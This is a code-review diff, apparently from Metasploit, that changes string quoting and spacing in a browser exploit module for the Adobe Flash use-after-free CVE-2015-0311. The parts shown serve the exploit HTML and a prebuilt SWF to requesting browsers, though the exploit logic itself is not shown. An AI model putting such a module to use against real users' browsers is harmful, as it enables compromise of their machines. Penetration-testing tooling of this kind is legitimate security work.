Use single quotes when possible

Author: jvazquez-r7

modules/exploits/windows/browser/adobe_flash_uncompress_zlib_uaf.rb

@@ -33,7 +33,7 @@ def initialize(info={})
           ['CVE', '2015-0311'],
           ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
           ['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
-          ['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/' ]
+          ['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
         ],
       'Payload'             =>
         {
@@ -66,12 +66,12 @@ def on_request_exploit(cli, request, target_info)
     print_status("Request: #{request.uri}")
 
     if request.uri =~ /\.swf$/
-      print_status("Sending SWF...")
+      print_status('Sending SWF...')
       send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
       return
     end
 
-    print_status("Sending HTML...")
+    print_status('Sending HTML...')
     send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
   end
 
@@ -98,7 +98,7 @@ def exploit_template(cli, target_info)
   end
 
   def create_swf
-    path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0311", "msf.swf" )
+    path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
     swf =  ::File.open(path, 'rb') { |f| swf = f.read }
 
     swf